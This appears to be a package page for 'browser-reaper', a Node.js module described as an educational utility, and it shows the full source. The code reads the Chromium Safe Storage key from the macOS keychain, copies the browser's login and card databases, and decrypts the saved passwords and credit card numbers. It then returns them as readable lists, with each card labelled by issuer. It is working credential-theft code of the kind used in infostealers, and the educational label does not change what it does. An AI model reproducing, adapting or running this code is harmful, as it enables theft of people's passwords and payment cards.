browser-reaper
Version:
A Node.js educational utility for extracting saved passwords and credit card information from Chromium-based browsers on macOS.
137 lines (116 loc) • 5.21 kB
JavaScript
import sqlite3 from 'sqlite3';
import { exec } from 'node:child_process';
import { promisify } from 'node:util';
import { createDecipheriv, pbkdf2Sync } from 'node:crypto';
import { copyFileSync, mkdtempSync, rmSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { basename, dirname, join } from 'node:path';
import { glob } from 'glob';
import browserHomes from './browserHomes.mjs';
const execPromise = promisify(exec);
export default class BrowserReaper {
constructor(browserName = 'chrome') {
this.browserName = browserName;
this.browser = browserHomes[this.browserName];
if (!this.browser) {
console.error(`Browser "${this.browserName}" not supported.`);
process.exit(1);
}
this.loginDataPath = this.browser.loginDataPath;
this.ccDataPath = this.browser.ccDataPath;
this.browserData = glob.sync(this.loginDataPath).concat(glob.sync(this.ccDataPath));
}
async getSafeStorageKey() {
try {
const { stdout, stderr } = await execPromise(`security find-generic-password -wa '${this.browser.serviceName}'`);
if (stderr) throw new Error(stderr);
return stdout.trim();
} catch (error) {
console.error(`ERROR getting ${this.browser.serviceName} Safe Storage Key: ${error.message}`);
process.exit(1);
}
}
decryptData(encrypted, iv, key) {
try {
const decipher = createDecipheriv('aes-128-cbc', key, Buffer.from(iv, 'hex'));
let decrypted = decipher.update(encrypted.slice(3));
decrypted = Buffer.concat([decrypted, decipher.final()]);
return decrypted.toString('utf8');
} catch (error) {
return 'ERROR retrieving data';
}
}
async processData(safeStorageKey, dataPath) {
const iv = '20202020202020202020202020202020';
const key = pbkdf2Sync(safeStorageKey, 'saltysalt', 1003, 16, 'sha1');
const tempDir = mkdtempSync(join(tmpdir(), `${this.browserName}-`));
const dbCopyPath = join(tempDir, `${this.browserName}.db`);
try {
copyFileSync(dataPath, dbCopyPath);
const db = new sqlite3.Database(dbCopyPath);
const sql = dataPath.includes('Web Data')
? 'SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards'
: 'SELECT username_value, password_value, origin_url FROM logins';
const rows = await new Promise((resolve, reject) => {
db.all(sql, [], (err, rows) => (err ? reject(err) : resolve(rows)));
});
const decryptedList = [];
for (const row of rows) {
const encryptedValue = dataPath.includes('Web Data')
? row.card_number_encrypted
: row.password_value;
if (!encryptedValue || !encryptedValue.includes('v10')) continue;
const decrypted = this.decryptData(encryptedValue, iv, key);
if (dataPath.includes('Web Data')) {
decryptedList.push([row.expiration_year, row.name_on_card, decrypted, row.expiration_month]);
} else {
decryptedList.push([row.origin_url, row.username_value, decrypted]);
}
}
db.close();
return decryptedList;
} finally {
rmSync(tempDir, { recursive: true, force: true });
}
}
firstDigit(ccNum) {
return ccNum.toString()[0];
}
parseCreditCard([ccYear, ccName, ccNum, ccMonth]) {
const ccDict = { 3: 'AMEX', 4: 'Visa', 5: 'Mastercard', 6: 'Discover' };
const ccType = ccDict[this.firstDigit(ccNum)] || 'Unknown Card Issuer';
return {
cardType: `${ccType}`,
cardName: `${ccName}`,
cardNumber: `${ccNum}`,
expiration: `${ccMonth}/${ccYear}`
};
}
parseAccount([link, user, pass]) {
return { link, user, pass };
}
printAllCards(decryptedList) {
console.log(decryptedList.map((value) => this.parseCreditCard(value)));
}
printAllAccounts(decryptedList) {
console.log(decryptedList.map((value) => this.parseAccount(value)));
}
async extractData() {
const safeStorageKey = await this.getSafeStorageKey();
const results = {};
for (const profile of this.browserData) {
const profilePath = dirname(profile);
const profileName = basename(profilePath);
if (!results[profileName]) {
results[profileName] = { accounts: [], cards: [] };
}
const decryptedList = await this.processData(safeStorageKey, profile);
if (profile.includes('Web Data')) {
results[profileName].cards = decryptedList.map(value => this.parseCreditCard(value));
} else {
results[profileName].accounts = decryptedList.map(value => this.parseAccount(value));
}
}
return results;
}
}